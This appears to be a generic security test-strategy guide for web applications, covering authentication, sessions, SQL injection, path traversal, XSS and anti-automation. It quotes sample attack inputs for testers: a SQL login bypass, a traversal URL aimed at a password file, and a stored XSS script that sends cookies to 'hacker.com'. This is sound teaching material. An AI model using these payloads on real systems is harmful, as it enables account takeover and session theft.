Application Security Testing

Generic Test Strategy

Contents

1 Introduction

1.1 Purpose:

This document will provide the generic testing guidelines for Application security testing. It talks about the common vulnerabilities in the system and how to find out those in early phase of SDLC. It will also take about the security overheads and performance of system because of it. Even if your application is not susceptible to security threats it is better to know and act on it.

It is beyond the scope of this document to go into in depth of each of the vulnerabilities and process to test this.

1.2 Application Security Testing:

Application security testing is defined as a process of identifying the various vulnerabilities in a system which are exposed because of improper design or coding issues.

Application level threat cannot be avoided by network firewalls as data comes in HTTP request which these firewalls let pass. So it becomes even more important to handle the security when it applies application level than what happens at Network levels

2 Audience

This document address the testing needs of software security tester and also to test analyst and managers who wanted to accommodate security testing in their test process. Although, this document doesn't provide the complete list of all the vulnerabilities it is worth the read for those moving into security testing arena.

3 Test Strategy guidelines

Testing for application security is not going to be easy as vulnerabilities cannot be detected by firewalls .Also the vulnerabilities list is huge enough so considering the amount of time and effort it will require it also not possible to test and check the code for all vulnerabilities. Test should be designed considering the following points

- Probability of occurrence of event
- Risk associated with each occurrence

The different vulnerabilities for which web application should be tested are as follows:

- Authentication
- Session Management
- SQL Injection
- Error handling
- Cross Site scripting
- Anti-Automation

3.1 Authentication

The different attacks that can occur are:

3.1.1 User guesses the password:

Some websites allows user to register with weak password. The weak password can be one of dictionary word, user of either lower or upper case only, only alphabets, small length password.

Scenario: Website registration page

Tests: Test needs to be designed to check the complexity. Test needs to be designed to check password confirms to required length with combination of lower and upper case and special keywords. Test needs to there to check that password doesn't belong to dictionary.

3.1.2 Brute force attack:

Some websites doesn't allow the account lockout features in case wrong information is entered for more than few attempts. It allows the Brute Force attack, which is an automated process of trial and error to guess the person username, password and credit card numbers.

Scenario: User login page

Tests: Test to check account lockout happens after few unsuccessful attempts. Test to check the error message displayed doesn't tells which part of authentication credentials are incorrect. Test to check the status failure or success is reported after few seconds once the user enters the credentials.

3.1.3 Password recovery validation

The attack happens when the attacker illegally obtain, change another users password.

Scenario: Change/Forgotten password screen

Tests: Test must be done to ensure that change password screen have old password field mandatory. Test to ensure that password field doesn't have Auto complete feature "ON" .Test to check the new password is not displayed in the screen but is send to user mail id. Test to see that account gets locked if user tried to enter old password incorrect for more than 3 attempts.

3.2 Session Management

Session management is necessary to maintain the identity of user across multiple requests. Cookies are information which is stored on client machine by web server. They are basically name-value pair which website uses to retrieve data when user visits the site again or across requests. Attackers can tamper this data to acquire information. The various attacks that can happen are:-

3.2.1 Insufficient Session Expiration

The application allows the attacker to reuse the old session IDs. All it needs for an attacker is to know the old session id and he can reuse the same.

Scenario: All application pages

Test: Test must be done to make sure, application logs off or session is expired after some time.

3.2.2 Session hijacking

If session ids are predictable, it is possibility that attacker can guess the session id and can use it.

Scenario: Any page after login

Test: Test should be done to check whether session ids are predictable. Test to check multiple session of same user is not allowed. Test to check important data is transferred using HTTPS protocol.

3.3 SQL Injection

SQL injection attacks exploit the web application which user the client input to dynamically create the SQL query to provide the data. This is a case where all inputs should be considered as evil until otherwise proved.

Scenario: Log-in page

Select user_id from login where username ='$username' and password = '$password'
Inputs: username ='Amir' OR '1=1';--
Password: <Anything>
When this query is generated dynamically only the part before password is generated with OR condition of 1=1 which is always true and password is commented.

Test: Test needs to be done to check all inputs are properly validated no special characters are allowed. Test needs to be done that server side validation is done. Test needs to be done that stored procedure are user and dynamic SQL queries are not used.

3.4 Error handling

It is common mistake from developer that errors are not handled properly and lot of information is disclosed and leads to information disclosure attack. The various attacks that can happen are:-

3.4.1 Path traversal

Techniques used to access the files and folder which are outside the web root directory.

Scenario: Accessing the password file from the server

If you have a website http://foo.com/foo.html , just change the URL to point to some file which is not present for example http://foo.com/notavailablt.html if the error message thrown is something like file notavailable.html is not present in **C:\test\webapp**. Then error message has disclosed very important information to the attacker showing the directory structure of web server. This can be exploited by an attacker for accessing files and folders that resides outside the root directory.

http://www.foo.com/vivek/vivek.cgi?page=../confidential_folder/password.txt

Test: Test needs to be designed to validate the proper access control mechanism on the server. Test should be done so that error message doesn't reveal too much of information. Test to validate the input URL.

3.4.2 Predictable resource location

Technique used to gain access to hidden content. The reason is most of the time application follow a similar folder structure and file naming convention which makes the content more predictable.

Scenario: use of sequential files in a folder for example
http://www.foo.com/vivek/myfiles/file1.txt
http://www.foo.com/vivek/myfiles/file2.txt
http://www.foo.com/vivek/myfiles/file3.txt

Test: Test needs to design to check files are not stored in sequential manner. Test for access control mechanism. Test for predictable folder structure and files within them.

3.5 Cross-Site Scripting

In this the malicious script is executed on the client side. This happens when server side validation is not done for the input fields. The different attacks that can happen are:-

3.5.1 Echo-type Cross scripting

In this the input is entered in some fields on the client machine which is echoed back from the server.

Scenario: User registration page

Input: One of the fields in the form can be credit card number where proper validation is not done from server side. We can give the input <script>Hello World </script>. When the form is submitted, the server echoes back and the script is executed showing the dialog box "Hello World'

Test: Test needs to be done so that proper validation is done from the server side. Test to check the inputs doesn't accepts the special character like <>. Test to check the input is encoded &lt ; for < if required.

3.5.2 Stored Cross scripting

In this type of attack, the message is stored in the server without proper validation and when clicked on the message link, the user is redirected to some other page and this can result in session ID hijacking.

Scenario: Mail forum

Input: The mail is stored in the server with input <script> document.location.replace ('http://hacker.com/steal.cgi?'+document.cookie) ;< /script>">. This redirects the user to attacker site and the cookie is stolen.

Test: Test needs to check scripting is allowed or not. Test for input validation so that it doesn't contain special characters. Special characters are encoded.

3.6 Anti-Automation

Insufficient anti-automation attack is when a web site permits an attacker to automate a process that should be performed manually. This can even result in denial of service for some functionality.

Scenario: User registration page

Test: Test needs to be done so that registration process cannot be automated, it should include the manual entry also. Test to see if CAPTCHA is used. Test for avoiding Brute force attack.

4 Test Environment

Testing should be carried out in development and test environment. The penetration testing should be carried out without the intention to exploit the system for personal gains. A large number of freeware tools are available for black box penetration testing. Test should be carried out on manual and automated basis

4.1 Tools:

The various tools used for black box security testing are:
Paros, Tamper IE, Web scrap all these tools can be used to tamper the http request and response output and can help in identifying the vulnerabilities in the system

5 Reference:

http://www.owasp.org
https://buildsecurityin.us-cert.gov/daisy/bsi/articles/best-practices/white-box/259.html
http://www.parosproxy.org/
http://www.stickyminds.com

Books:
Writing secure code a book by Michael Howard and David Leblanc